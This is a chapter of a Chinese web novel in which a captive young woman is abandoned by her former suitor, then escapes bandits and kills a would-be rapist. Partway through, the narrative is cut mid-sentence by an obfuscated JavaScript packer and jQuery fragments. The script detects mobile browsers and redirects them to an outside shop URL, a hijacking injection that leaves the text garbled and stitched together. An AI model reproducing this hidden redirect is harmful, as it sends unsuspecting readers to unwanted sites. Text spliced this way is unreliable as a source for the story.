123. 春刀饮血

作品:《段姑娘每天打两份工

    极狭处,隐隐有光,她睁开眼,看到不是城里的灯火,心猛地往下沉。


    火烧着松枝噼啪作响,松香混着烤鸡的油脂香气萦绕在鼻间。


    陈雪游不再想周元澈的事,眼下自己的生死最是要紧。


    火堆前,郑砚龙盘腿而坐,手里握着的匕首精光耀眼,映出他一双黑沉的眸子。


    他眼中杀气腾腾,刀亦极锋利,总不至于是用来割面前那只烤得熟烂的山□□。


    她挣动身子,挣不动,放弃。


    胳膊和肚子被绳索死死勒进肉里,勉强只有项上那颗头颅可以转动。


    头顶没有月亮,只有几粒星子,地上,只有数条长长的火舌,不安分地舔舐着春夜寒气。


    “郑砚龙,给你两个选择,一、要么赶紧杀了我,二、要么放了我。否则,你可莫要后悔。”


    二选一,给他二选一?郑二觉得她是将他当傻子弄呢,他就不。


    郑砚龙冷着脸,嗤笑道:“段青萍,你如何还有脸跟我谈条件?”


    “那你选一个,山林静谧,不扯两句闲话,也怪闷的。”


    她是没有脸,但她本来就不要脸。


    在这世道,但凡她要点脸,都活不下去。


    “我选三,不杀你也不放你。”


    “真的?”


    “当然。”


    郑砚龙这人她是知道的,说一不二,既然说不杀她,那必定不会杀她,至于放不放,什么时候放,兴许看他心情。


    两人相对无言沉默良久,她腹内馋虫率先打破平静,“我好饿。”


    陈雪游盯着面前那只油汪汪的烤山鸡,本来个头就不大,“再烤就焦了。”


    郑砚龙白她一眼,还是听话,马上将烤鸡拿下来,用刀削下两片鸡肉,细心地吹凉,刀尖戳着递到她嘴边。


    她心里酸溜溜的,既感动也愧疚。


    “慢点吃,别噎着。”


    陈雪游眼里泪光闪烁,动了动唇,“二爷,你…”


    你还是那么好。


    “你若噎死,我还怎么杀你啊?”


    “……”


    “吃吧,做个饱死鬼上路。”


    “……”


    嘴里的肉瞬间不香了。


    不过,他说的也对,饿着上路是不好,遂笑逐颜开:“多谢你替我着想,劳驾再来两块。”


    “……”


    她还吃上头了。


    郑砚龙气急败坏,转头一脚把地上烤鸡踢飞,突然林中蹿出一头胖狐狸,叼着就跑。


    郑二:“……”


    “我去你他爹的,把鸡还给老子啊!”


    陈雪游想扶额叹气,突然想起来没手,只得干叹气。


    “二爷,你可真糊涂,再恨我,也不该糟蹋自己,你还饿着呢。”


    他扭头,怒道:“你闭嘴。”


    “你送我上路,我不怪你的。以后好好找个人过日子,二爷你心肠这么好,合该有段好姻缘,遇着我,算你倒霉。死后,我必不怨你恨你,我会保佑你平安喜乐,一生顺遂。”


    “我说了,让你闭嘴!”吼完,也不知从哪里掏出个土豆,塞住她的嘴,“虚情假意,爷不稀罕。”


    可是,她是认真的。


    死在他手里,她没什么可怨的。


    初入郑府,她举目无亲,只有郑二公子老惦记着她,虽说不过是“窈窕淑女,君子好逑”,但矮子里拔高个,这人是真心对她好。


    明知受她糊弄,也不曾真的恼过。


    且不论这些,杀人偿命,天经地义,她报仇没错,人家要报仇也没有不对。


    那有什么可怨的呢?


    不过,她心里怎么想,他不会知道。


    “我本来是想用土豆烤这鸡来着,你不是挺爱吃的么?”郑砚龙没头没脑来了一句,声音闷闷的,和路边呜咽的小狗似的。


    或许是旧情未泯,言语里还有些脉脉温情。


    “但你和那阉人设计害死我母亲,陷害我父亲入狱,你们两个,我必须得杀。”


    可怜他认不清现实,铁证如山,还觉得父母无辜。


    陈雪游百口莫辩,都怪这个土豆。


    她张大嘴,努力将一口银牙狠狠按进去,打算吃了这个土豆,再跟他好好唠唠他郑家的事。


    郑砚龙看到她的举动,气不打一处来,从她口里把土豆掏出来。


    “不许吃!”


    陈雪游大喘一口气,说了句非常伤人的话,“你爹娘,其实死有余辜。”


    话音刚落,脸上挨了一记清脆的巴掌。


    也罢,是她造次,她认。


    打得不重,且有些话还是得说:“你爹和你娘,害过多少人,你可知道?”


    “你胡说八道!”


    “我没胡说,你母亲害死瑞云,三番五次置我于死地,这些事,你问问她身边的丫头们便知道。”


    她语气笃定,眼中含恨,郑二也知道那些话并非胡诌,脑海里乍然回想起母亲逼段青萍喝避子汤的事,他是恼火的,深以为此举过于残忍。


    但是……


    “她后来改过,你们相处得也挺好,况且你如今平安无事,日子过得这么舒坦,又何必非要置她于死地。我知道了,你定是受那阉人蒙蔽,他到底给你灌了什么迷魂汤,你这般信他?”他犀利的目光扫过来,想让她心中不安,也想看到她眼里的愧疚,哪怕只有一点点,他或许会原谅她。


    “在你眼里,原来瑞云的命不值一钱?为何你老觉得我做什么事都是为着男人?你将我想得也太狭隘了。”


    不是的,他没有视人命如草芥,可是瑞云自尽,与他母亲有什么关系?然而,这其中的细枝末节他不愿深想,更不想和她深谈。


    哪怕他根本不信,也不想听。


    早知还是该将土豆塞进她嘴里,叫她闭嘴才是。


    “还有,什么阉人阉人的,那是你兄长,和你一个父亲。你就不好奇,他为何要做出如此大逆不道的举动吗?”


    他不好奇,郑砚龙蹲下身,摸索着刚才扔掉的土豆。


    他不好奇,但那些话一个字一个字往他耳朵里钻,像密密麻麻的虫子啃噬着他的心。


    什么周家,他的哥哥郑砚清,母子俩上京寻亲,他父亲雇凶杀人。


    郑砚龙一屁股坐在莎草地上,背对着她,冷笑出声:“你这般能说会道,怎么不找个海盐班子学唱戏?”


    海盐戏是南方的强调,源自浙江,腔调清柔婉转。


    “你爱信不信。”


    但她怎么也没料到,郑砚龙扔了匕首,跑了。


    跑得比那只狐狸还快。


    我不杀你,也不能放你,这人果然言出必行。


    陈雪游气得大骂:“孬种,有本事你回来杀我!”


    “郑砚龙,你真不是个东西!”


    山里天气更觉冷些,饶是城中行人已热得脱衣裳,这里还是带着一点肃杀与清寒,夜里更甚,有狐狸自然也有狼,虎视眈眈,她被绑在树上,若遇着,绝对是死局。


    她还不想死。


    可若草率呼救,深山老林,多半召来野兽,而非人,剩下的也只有祈求佛祖保佑,以及宽慰自己。


    害怕是没用的。


    安心着,走一步看一步。


    困意袭来,她眯着眼就睡,其间也冻醒过几


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17314564|188618||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    次。


    最后一次,让身上的绳子勒醒,她双眼微睁,身边围着的几条大汉正在给她解绑。


    “姑娘别怕,我们马上给你解绑。”


    她运气尚可,遇着好人了。


    绳索松懈,身上的皮肉都勒出深深的血痕,疼得半日都没法舒展身子。


    大汉递给她一只水囊,笑问道:“姑娘住哪儿?我们送你回去。”


    这山她不熟,还真不知道怎么下去,“多谢几位大哥。”


    犹豫半晌,终觉不妥,“我家就住这附近,不必劳驾各位。”


    说罢,她道谢,将水囊还回去,拨开面前的杂草,小心翼翼往前走,时时留心身后的动静,浅盈盈笑着,“我阿爹阿兄,一定等急了,我得快快回去才是。”


    须臾之间,她听见一阵杂乱的脚步声,渐行渐远。


    陈雪游缓缓闭上眼睛,长呼出一口气。


    还不能彻底放心,她抓起一根树枝拨弄那些长草,小心探路。


    忽然,她蓦地掉头,就见方才给递水囊的男人折返回来,正目光灼灼盯着她,“妹子,你还在?”


    两人相距约五丈之远,那人离火堆也有两丈,分明是刻意来追她的。


    这时候,她哪里敢回答,掉头就跑,鞋掉下也顾不得捡,光着脚踩在碎石杂草上,没一会儿,头发就乱得像头狂奔的野狼。


    那大汉也看傻眼,没料到这女人看着这么柔弱,跑得这么快。


    之前他看这女人打扮,绝不是山里人,以为是城里那些缠着小脚,走路摇摇晃晃的小姐,寻思着拿下她还不是手到擒来,没想到,这丫头一跑,顷刻间,就蹿出一里地了。


    身后有人拍拍他的肩,嗤笑道:“还不快追?”


    他瞧着山坡下那道人影,发狠追过去,原也没指望能追上,毕竟这丫头是真能跑啊,谁想到,她突然噗通栽倒在地,不知让什么绊着,半天没起得来。


    “丫头,你倒是能跑。”


    那汉子喘匀了气,笑道:“以后跟着老子,老子疼你。”


    陈雪游仰着头,面上乱发如云,半遮着她的眼睛。


    一双野兽似的眼睛。


    残忍、嗜血。


    男人拨开她的头发,以为她会害怕得哭哭啼啼求饶,谁想得到,那张白皙干净的面庞上平静无澜,贴着发际之处有道纤细的疤痕。


    “你容貌虽有损伤,但老子不介意,还是好看的。”


    陈雪游气极,竟笑了出声。


    “你笑什么?”


    她不答。


    他心里头怒火被拱起,这女的竟叫他害怕。


    于是一把揪住她的头发,陈雪游顾不得痛,瞅准机会,猛扑过去抱住他的腰,偷偷夺下那把解腕尖刀,趁他将自己踢倒时扔进旁边的杂草丛里。


    “笑,你还笑,等老子办你的时候,有你哭的!”


    男人朝她扑过来,倾身压住她的身体,撕扯她的衣裳。


    陈雪游倒是不慌不忙,这种事也不是第一次经历,人要么会有阴影,要么会显得从善如流,她是后者,脸上平静得很,索性张开双臂,任凭野兽啃咬着自己的身体,等他以为自己稳操胜券,能尽情享用猎物的时刻,她用力握紧那把解腕尖刀。


    刀光在初生的朝阳下,散发着耀眼的精光。


    刀尖抵着后脖子时,那人微微一怔,还没来得及反应,刀身整个贯穿他的脖子。


    拔刀的瞬间,狂涌的鲜血直接把他活活呛死。


    她可怜他死得这般仓促。


    “我刚刚笑,其实是在想,你死期到了,居然无动于衷。”


    终于肯回答方才那个问题。